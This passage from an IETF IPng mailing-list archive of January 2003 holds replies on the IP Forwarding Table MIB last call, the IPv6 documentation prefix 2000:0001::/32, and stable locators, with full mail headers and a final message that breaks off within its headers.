	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VHaGVK011157
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:36:16 -0800 (PST)
Received: from shell4.bayarea.net (shell4.BAYAREA.NET [209.128.82.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA04679
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:36:10 -0800 (PST)
Received: from localhost (heard@localhost)
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id JAA17866;
	Fri, 31 Jan 2003 09:36:10 -0800
	(envelope-from heard@pobox.com)
X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs
Date: Fri, 31 Jan 2003 09:36:09 -0800 (PST)
From: "C. M. Heard" <heard@pobox.com>
X-Sender: heard@shell4.bayarea.net
To: ipng@sunroof.eng.sun.com, Juergen Schoenwaelder <schoenw@ibr.cs.tu-bs.de>
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
In-Reply-To: <200301311404.h0VE4kE4002720@hansa.ibr.cs.tu-bs.de>
Message-ID: <Pine.LNX.4.10.10301310930240.18175-100000@shell4.bayarea.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003, Juergen Schoenwaelder wrote:
> >>>>> C M Heard writes:
> 
> [...]
> 
> Mike> 1.)  Appropriateness of using DSCP (differentiated services code
> Mike> point) as a forwarding table index.
> 
> I raised my voice several times that the indexing is not flexible
> enough to represent existing frowarding data structures but I got
> strong push back since we only do "minimal changes" - even if boxes
> have to cheat in order to implement this MIB...

I saw that when I went through the archived e-mail.  Do you think
that having an OCTET STRING-based policy selector (in addition to
destination prefix/prefix length and next hop) as I suggested can
provide the required flexibility?  As far as I can see it does,
although it might not be the most convenient way.

//cmh

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 09:40:39 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VHedQb024149;
	Fri, 31 Jan 2003 09:40:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VHedns024148;
	Fri, 31 Jan 2003 09:40:39 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VHeZQb024141
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:40:36 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VHeiVK012514
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 09:40:44 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA02202
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:40:21 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0VHeKe26978
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 19:40:20 +0200
Date: Fri, 31 Jan 2003 19:40:19 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
In-Reply-To: <200301311252.HAA05123@ietf.org>
Message-ID: <Pine.LNX.4.44.0301311932100.26936-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003 Internet-Drafts@ietf.org wrote:
> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> This draft is a work item of the IP Version 6 Working Group Working Group of the IETF.
> 
> 	Title		: IPv6 Global Unicast Address Format for the 2000::/3 
>                           Prefix
> 	Author(s)	: R. Hinden, S. Deering
> 	Filename	: draft-ietf-ipv6-unicast-aggr-v2-00.txt
> 	Pages		: 4
> 	Date		: 2003-1-30
> 	
> This document defines the unicast address format for the 2000::/3
> (001 binary) prefix.  The address format defined in this document is
> consistent with RFC1883 'Internet Protocol, Version 6 (IPv6)
> Specification' and RFCXXXX 'IP Version 6 Addressing Architecture'.
> This documented replaces RFC2374 'An IPv6 Aggregatable Global Unicast
> Address Format'.  RFC2374 will become historic.

Comments:

draft-ietf-ipv6-unicast-aggr-v2-00.txt

==> how did the first draft suddently jump to a w.g. document?  I don't
recall this question being raised, unless it was years ago (or I've missed
something).  Not that I disagree with (most of) the contents, but some
parts at least seem to be questionable.

   This document defines the unicast address format for the 2000::/3
   (001 binary) prefix.  The address format defined in this document is
   consistent with RFC1883 "Internet Protocol, Version 6 (IPv6)
   Specification"

==> s/1883/2460/

   The specific format of global unicast address under the 2000::/3
   prefix is:

      | 3 |     n bits         | 61-n bits |       64 bits              |
      +---+--------------------+-----------+----------------------------+
      |001|  routing prefix    | subnet ID |       interface ID         |
      +---+--------------------+-----------+----------------------------+

==> I guess this is another part which some folks will just ignore .. but 
no matter.

3.0 IANA Considerations

   The following prefix is reserved for use in documentation and MUST
   NOT be assigned to any operational IPv6 nodes:

      2000:0001::/32

==> I do not understand why this reservation has been made; I see zero 
technical reason for it -- and it would prevent the use of the full 
2000::/16 for something else.

I'd rather reserve a documentation prefix somewhere else, and in some 
other, _separate_ internet-draft.

5.0 References

==> split the references.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 10:27:12 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VIRBQb024594;
	Fri, 31 Jan 2003 10:27:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VIRBku024593;
	Fri, 31 Jan 2003 10:27:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VIR6Qb024586
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:27:07 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VIRFVK026662
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:27:15 -0800 (PST)
Received: from esunmail ([129.147.58.122])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA01129
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:27:10 -0700 (MST)
Received: from xpa-fe1 (esunmail-ge1 [129.147.58.122])
 by edgemail1.Central.Sun.COM
 (iPlanet Messaging Server 5.2 HotFix 1.08 (built Dec  6 2002))
 with ESMTP id <0H9L00DUTCL9N9@edgemail1.Central.Sun.COM> for
 ipng@sunroof.eng.sun.com; Fri, 31 Jan 2003 11:27:10 -0700 (MST)
Received: from sun.com ([129.146.10.23])
 by mail.sun.net (iPlanet Messaging Server 5.2 HotFix 1.08 (built Dec  6 2002))
 with ESMTPSA id <0H9L00CB3CL8VJ@mail.sun.net> for ipng@sunroof.eng.sun.com;
 Fri, 31 Jan 2003 11:27:09 -0700 (MST)
Date: Fri, 31 Jan 2003 10:27:08 -0800
From: Alain Durand <Alain.Durand@Sun.COM>
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
To: Pekka Savola <pekkas@netcore.fi>
Cc: ipng@sunroof.eng.sun.com
Message-id: <3E3ABFFC.9080302@sun.com>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920
 Netscape/7.0
References: <Pine.LNX.4.44.0301311932100.26936-100000@netcore.fi>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



Pekka Savola wrote:

>3.0 IANA Considerations
>
>   The following prefix is reserved for use in documentation and MUST
>   NOT be assigned to any operational IPv6 nodes:
>
>      2000:0001::/32
>
>==> I do not understand why this reservation has been made; I see zero 
>technical reason for it -- and it would prevent the use of the full 
>2000::/16 for something else.
>
I disagree. Having the reserved prefix is a good think and
will hopefully prevent what happen when Sun folks started
documenting examples using our address space.
Having this prefix defined in a separated document was attempted
about 2 years ago (remember Marc Blanchet's document? He was
the first one to point out the need for this) and did not go anywhere.

As most people will use addresses within 2000::/3, it makes sense
to reserve the documentation prefix from that space and this
documents seems to me the perfect place to do so.

    - Alain.

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 10:41:53 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VIfqQb024718;
	Fri, 31 Jan 2003 10:41:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VIfqrY024717;
	Fri, 31 Jan 2003 10:41:52 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VIfmQb024710
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:41:49 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VIfvVL003525
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:41:57 -0800 (PST)
Received: from mail-green.research.att.com (mail-green.research.att.com [135.207.30.103])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA10651
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:41:51 -0700 (MST)
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-green.research.att.com (Postfix) with ESMTP
	id CBFBC1E023; Fri, 31 Jan 2003 13:41:50 -0500 (EST)
Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id NAA11973;
	Fri, 31 Jan 2003 13:41:50 -0500 (EST)
From: Bill Fenner <fenner@research.att.com>
Received: (from fenner@localhost)
	by windsor.research.att.com (8.8.8+Sun/8.8.5) id KAA21493;
	Fri, 31 Jan 2003 10:41:49 -0800 (PST)
Message-Id: <200301311841.KAA21493@windsor.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
To: heard@pobox.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
Cc: ipng@sunroof.eng.sun.com
Date: Fri, 31 Jan 2003 10:41:48 -0800
Versions: dmail (solaris) 2.5a/makemail 2.9d
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


>1.)  Appropriateness of using DSCP (differentiated services code
>point) as a forwarding table index.

I agree.  As you point out, it was chosen because it was the obvious
translation from TOS, but I was never completely comfortable with it.
I never came up with a replacement that I was very happy with so I
didn't suggest anything else; I didn't think of an OID.  The thing
that I really wanted was something that's composable, e.g. the ability
to have two or more axes along which you can represent different routes,
like source prefix *and* DSCP.  It's possible to do this with the OID
but requires defining an OID per combination.  This is probably OK
since there will probably be a few common combinations.

>2.)  Appropriateness of offering only a full compliance statement
>when all reported implementations of the predecessor MIB (RFC 2096)
>provide just read-only access.

This may have simply been an oversight.  I agree that a read-only
implementation should be compliant.

>3.)  MIB changes that appear either to be gratuitous (replacing
>ipRouteDiscards with inetCidrRouteDiscards) or erroneous
>(not providing inetCidrRouteNumber) and which are inconsistent
>with the text of Section 8.

The IP-MIB revision (draft-ietf-ipv6-rfc2011-update-01.txt) deprecates
ipRouteDiscards and ipv6DiscardedRoutes in favor of inetCidrRouteDiscards.
The thought was that you can't tell whether an ipRouteDiscards counts
v4-only (as it would if a system implemented RFC2011+2465) or both, so
it's better to define a new object with well defined semantics.  If we
decide that's not a good justification, we should remove
inetCidrRouteDiscards and un-deprecate ipRouteDiscards in 2011-update.

I agree that there should be an inetCidrRouteNumber.

  Bill
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 10:55:48 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VItlQb024938;
	Fri, 31 Jan 2003 10:55:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VItleo024937;
	Fri, 31 Jan 2003 10:55:47 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VItiQb024930
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:55:44 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VItqVL008133
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:55:52 -0800 (PST)
Received: from shell.nominum.com (shell.nominum.com [128.177.192.160])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA27715
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 10:55:47 -0800 (PST)
Received: from nominum.com (shell.nominum.com [128.177.192.160])
	by shell.nominum.com (Postfix) with ESMTP
	id 1450F137F0E; Fri, 31 Jan 2003 10:55:47 -0800 (PST)
Date: Fri, 31 Jan 2003 10:55:43 -0800
Subject: Re: Enforcing unreachability of site local addresses
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v551)
Cc: ipng@sunroof.eng.sun.com
To: Brian E Carpenter <brian@hursley.ibm.com>
From: David Conrad <david.conrad@nominum.com>
In-Reply-To: <3E37AE06.4D521B8C@hursley.ibm.com>
Message-Id: <9963C6AE-354D-11D7-BA7F-000393DB42B2@nominum.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.551)
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian,

On Wednesday, January 29, 2003, at 02:33  AM, Brian E Carpenter wrote:
> If we achieve stable locators, this problem largely goes away,
> but stable names in themselves are insufficient IMHO.

The problem isn't the DNS, but the concept of 'stable locators'.  Given 
the need to aggregate, you simply can't have stability in locators if 
network topology changes.  Since locators need to change when topology 
changes, any solution you come up with will need to deal with 
propagation delay and security while at the same time dealing with 
scalability and performance.  I would argue that the DNS can be 
contorted to deal with these requirements (although whether or not 
you'd want to is another question).

Rgds,
-drc

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 11:02:53 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VJ2pQb025003;
	Fri, 31 Jan 2003 11:02:52 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VJ2pi5025002;
	Fri, 31 Jan 2003 11:02:51 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VJ2lQb024994
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:02:48 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VJ2uVL010664
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:02:56 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA10986
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:02:50 -0700 (MST)
Received: from heavygear (heavygear [147.11.38.42])
	by mail.wrs.com (8.9.3/8.9.1) with SMTP id LAA20482;
	Fri, 31 Jan 2003 11:01:42 -0800 (PST)
From: "Qing Li" <Qing.Li@windriver.com>
To: "Bill Fenner" <fenner@research.att.com>
Cc: <ipng@sunroof.eng.sun.com>
Subject: RE: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
Date: Fri, 31 Jan 2003 11:01:24 -0800
Message-ID: <DMEGKJAJNLKBGDDBEAIPMEHGHKAA.Qing.Li@windriver.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
In-Reply-To: <200301311841.KAA21493@windsor.research.att.com>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


	The ipForwardProto was part of the table index in RFC1354.
	The inetCidrRouteProto is not part of the index in RFC2096.

	What was the reason for that?

	-- Qing



> -----Original Message-----
> From: owner-ipng@sunroof.eng.sun.com
> [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Bill Fenner
> Sent: Friday, January 31, 2003 10:42 AM
> To: heard@pobox.com
> Cc: ipng@sunroof.eng.sun.com
> Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
> 
> 



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 11:15:12 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VJFCQb025240;
	Fri, 31 Jan 2003 11:15:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VJFCQ7025239;
	Fri, 31 Jan 2003 11:15:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VJF8Qb025232
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:15:09 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VJFHVK012799
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:15:17 -0800 (PST)
Received: from shell4.bayarea.net (shell4.BAYAREA.NET [209.128.82.1])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA18143
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:15:11 -0700 (MST)
Received: from localhost (heard@localhost)
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id LAA23087;
	Fri, 31 Jan 2003 11:15:11 -0800
	(envelope-from heard@pobox.com)
X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs
Date: Fri, 31 Jan 2003 11:15:10 -0800 (PST)
From: "C. M. Heard" <heard@pobox.com>
X-Sender: heard@shell4.bayarea.net
To: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
In-Reply-To: <200301311841.KAA21493@windsor.research.att.com>
Message-ID: <Pine.LNX.4.10.10301311056210.15446-100000@shell4.bayarea.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003, Bill Fenner wrote:
> >3.)  MIB changes that appear either to be gratuitous (replacing
> >ipRouteDiscards with inetCidrRouteDiscards) or erroneous
> >(not providing inetCidrRouteNumber) and which are inconsistent
> >with the text of Section 8.
> 
> The IP-MIB revision (draft-ietf-ipv6-rfc2011-update-01.txt) deprecates
> ipRouteDiscards and ipv6DiscardedRoutes in favor of inetCidrRouteDiscards.
> The thought was that you can't tell whether an ipRouteDiscards counts
> v4-only (as it would if a system implemented RFC2011+2465) or both, so
> it's better to define a new object with well defined semantics.  If we
> decide that's not a good justification, we should remove
> inetCidrRouteDiscards and un-deprecate ipRouteDiscards in 2011-update.

OK, I can see that there was a reason, but it was not obvious from
reading 2096-update.  Personally, I can't see any reason why
separate route table discard counters should be needed -- there was
never an IPv6-specific forwarding table MIB analogous to 2465 and
2466, was there? -- and IN the interest of least disruption I'd
advocate removal of inetCidrRouteDiscards and un-deprecation of
ipRoutingDiscards [note the spelling :-( ].  However, if the WG
consensus is that this constitutes a semantic change from past
practice (owing to combined 2011+2465 deployment) and wants
inetCidrRouteDiscards to remain, then I request that (a) some text
be put into 2096 update explaining why it is there and (b) that the
DESCRIPTION of ipRoutingDiscards be clarified in 2011-update to
specify that it counts only discarded routes with UPv4 destination
addresses (that is not really clear from reading 2011-update).

//cmh

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 11:40:07 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VJe5Qb025435;
	Fri, 31 Jan 2003 11:40:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VJe5LR025434;
	Fri, 31 Jan 2003 11:40:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VJe1Qb025427
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:40:01 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VJe9VK021071
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 11:40:10 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA16580;
	Fri, 31 Jan 2003 12:40:03 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA05176;
	Fri, 31 Jan 2003 11:40:02 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0VJe1b07467;
	Fri, 31 Jan 2003 11:40:01 -0800
X-mProtect: <200301311940> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.2.67, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpd3KNtgU; Fri, 31 Jan 2003 11:39:59 PST
Message-ID: <3E3AD14D.9030304@iprg.nokia.com>
Date: Fri, 31 Jan 2003 11:41:01 -0800
From: "Fred L. Templin" <ftemplin@iprg.nokia.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Alain Durand <Alain.Durand@Sun.COM>
CC: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
References: <Pine.LNX.4.44.0301311932100.26936-100000@netcore.fi> <3E3ABFFC.9080302@sun.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Alain Durand wrote:
> 
> 
> Pekka Savola wrote:
> 
>> 3.0 IANA Considerations
>>
>>   The following prefix is reserved for use in documentation and MUST
>>   NOT be assigned to any operational IPv6 nodes:
>>
>>      2000:0001::/32
>>
>> ==> I do not understand why this reservation has been made; I see zero 
>> technical reason for it -- and it would prevent the use of the full 
>> 2000::/16 for something else.
>>
> I disagree. Having the reserved prefix is a good think and
> will hopefully prevent what happen when Sun folks started
> documenting examples using our address space.

I will agree with Alain that a reserved prefix for documentation is
good. But, I don't understand why '2000:0001::/32" was chosen instead
of '2000:0000::/32'. Can someone speak to this?

Fred
ftemplin@iprg.nokia.com

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 12:25:43 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VKPgQb025717;
	Fri, 31 Jan 2003 12:25:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VKPgBs025716;
	Fri, 31 Jan 2003 12:25:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VKPcQb025709
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:25:38 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VKPkVL007093
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:25:46 -0800 (PST)
Received: from shell4.bayarea.net (shell4.bayarea.net [209.128.82.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA17709
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 13:25:40 -0700 (MST)
Received: from localhost (heard@localhost)
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id MAA16161
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:25:39 -0800
	(envelope-from heard@pobox.com)
X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs
X-Received: from postman.bayarea.net (postman.bayarea.net [205.219.84.13])
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id MAA10953
